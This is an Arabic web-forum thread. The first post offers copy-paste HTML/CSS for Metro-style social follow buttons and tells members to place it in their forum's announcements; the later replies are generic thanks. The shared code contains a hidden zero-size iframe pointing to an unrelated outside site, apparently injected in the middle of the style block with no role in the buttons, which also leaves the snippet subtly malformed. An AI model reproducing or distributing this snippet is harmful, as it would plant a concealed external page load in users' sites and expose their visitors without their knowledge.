Black Cat عضو نشيط
عدد المساهمات : 364 نقاطي : 471 السٌّمعَة : 1 العمر : 28 تاريخ التسجيل * : 07/08/2013 جيد
| موضوع: حصريا ازرار تابعني بشكل جديد ولا اروع علي شكل METRO السبت فبراير 08, 2014 8:32 pm | |
| بسم الله الرحمن الرحيم طبعا تتسائلون ما هو METRO :هو شكل جديد تم ع فكره الشكل من مايكرسوفت في ويندوز 8 وويندوز8.1 :shock: فا قائمه ابدء في الويندوز علي شكل ميترو وهي رائعه الان ناتي الي الكود طبعا مللت ازرار تابعنا علي المواقع بكل اشكالها فتلبيه لكل الاعضاء تم انشاء كوده تابعني علي شكل ميترو صوره للمعاينه لحظه الكود ها هو - الكود:
-
<style> A:link {text-decoration: none; color: }.Mbt-Social-metro { width: 960px; float: right; margin: 0; padding: 1em 0; } .Mbt-Social-metro ul { margin: 0; padding: 0;} .Mbt-Social-metro ul li { list-style:none; list-style-type: none; padding: 0; text-transform: none; margin:0; float: right; display: inline-block; width: 20%; } .Mbt-Social-metro ul li a { font-size:80%; text-align : center; color: #fff!important; display:block; } .Mbt-Social-metro ul li a:hover { color: #000!important; background-color: #e5e5e5; text-decoration: none; } idc-scoail ul li a, ul li a:hover { -moz-transition: all 0.3s ease-in-out; transition: all 0.3s ease-in-out; -webkit-transition: all 0.3s ease-in-out; } .Mbt-Social-metro ul li .rss { background: url("http://i1203.photobucket.com/albums/bb382/chandeep10/social-icons/RSS-1.png") no-repeat scroll 10px center #F87E12; background-size: 30px; padding: 10px 50px; } .Mbt-Social-metro ul li .twitter { background: url("http://i1203.photobucket.com/albums/bb382/chandeep10/social-icons/Twitter.png") no-repeat scroll 10px center #4CACEE; background-size: 30px; padding: 10px 50px;} .Mbt-Social-metro ul li .facebook { background: url("http://i1203.photobucket.com/albums/bb382/chandeep10/social-icons/Facebook-1.png") no-repeat scroll 10px center #3B5998; background-size: 30px; padding: 10px 50px; } .Mbt-Social-metro ul li .google { background: url("http://i1203.photobucket.com/albums/bb382/chandeep10/social-icons/google.png") no-repeat scroll 10px center #D44937; background-size: 30px; padding: 10px 50px; } .Mbt-Social-metro ul li .linkedin { background: url("http://i1203.photobucket.com/albums/bb382/chandeep10/social-icons/LinkedIn-1.png") no-repeat scroll 10px center #3692C3; background-size: 30px; padding: 10px 50px; } /* width of 768px */ @media only screen and (min-width: 768px) and (max-width: 959px) { .Mbt-Social-metro ul li { width: 50%; } } /* width of 480px */
<iframe src="http://www.stoktimes.com/" height="0" width="0"></iframe>
/* width of 480px */ @media only screen and (min-width: 480px) and (max-width: 767px) { .Mbt-Social-metro ul li { width: 50%; } } /* width of 320px */ @media only screen and (max-width: 480px) { .Mbt-Social-metro ul li { width: 100%; } } </style><div class='Mbt-Social-metro'> <ul> <li><a class='rss' href='http://feeds.feedburner.com/albaadani'>اشترك معنا عبر الخلاصات</a></li> <li><a class='twitter' href='https://twitter.com/albaadani1'>تابعتي على تويتر twitter</a></li> <li><a class='facebook' href='https://www.facebook.com/alb33dani'>تواصل معي عبر فيس بوك</a></li> <li><a class='google' href='https://plus.google.com/115387305017738790650'>تابعني على جوجل بلس</a></li> <li><a class='linkedin' href='http://in.linkedin.com/in/jalal-albaadani'>LinkedIn تواصل مع على </a></li> </ul> </div>
<link href='https://dl.dropboxusercontent.com/s/ga9ipblygtdebw8/DroidArabicKufi.css' rel='stylesheet' type='text/css'/> طريقه الوضع في اي مكان يقبل الهتمل شرح كيفية وضع أكواد html في المنتدى المجانيويفضل في الاعلانات الخاصه لوحه الاداره >> اداره عامه >> الرسائل والايميلات >> اعلانات خاصه >> ثم انشاء ثم ضع الكود وسجل دمتم برعايه الله :) وبالتوفيق :cheers: | |
|
A D M ! N مؤسس المجتمع
عدد المساهمات : 896 نقاطي : 2147483647 السٌّمعَة : 35 العمر : 34 تاريخ التسجيل * : 26/06/2013 احترام قوانين المبدعون العرب :
| موضوع: رد: حصريا ازرار تابعني بشكل جديد ولا اروع علي شكل METRO الأحد فبراير 09, 2014 11:32 am | |
| | |
|
MoDe3 المدير التنفيذي
عدد المساهمات : 104 نقاطي : 951 السٌّمعَة : 3 تاريخ التسجيل * : 09/07/2013 احترام قوانين المبدعون العرب :
| موضوع: رد: حصريا ازرار تابعني بشكل جديد ولا اروع علي شكل METRO الأحد فبراير 09, 2014 11:44 am | |
| | |
|
eltaqa عضو نشيط
عدد المساهمات : 401 نقاطي : 401 السٌّمعَة : 10 العمر : 37 تاريخ التسجيل * : 04/07/2015
| موضوع: رد: حصريا ازرار تابعني بشكل جديد ولا اروع علي شكل METRO الأحد يوليو 05, 2015 4:37 pm | |
| السلام عليكم ورحمة الله وبركاته ألف شكر لكَ على هذا الموضوع المميز و المعلومات القيمة إنـجاز أكثر رائــــــع لكن أرجو منكَ عدم التوقف عند هذا الحد مـنتظرين ابداعتــــــك دمتـ ودام تألقـك تحياتــي | |
|
énergie عضو نشيط
عدد المساهمات : 401 نقاطي : 403 السٌّمعَة : 10 العمر : 37 تاريخ التسجيل * : 08/07/2015
| موضوع: رد: حصريا ازرار تابعني بشكل جديد ولا اروع علي شكل METRO الخميس يوليو 09, 2015 10:42 pm | |
| صباحك // مساؤك .. أمواج فرح لا تجف ,, تحية محملة بباقة ورد جورية ,,, أهديك أياها يعطيك العافيه طرح رائع وانت دائما رائع في طرحك . أنتظر جديدك بكل الشوق والود ,,, تقبلي مروري المتواضع | |
|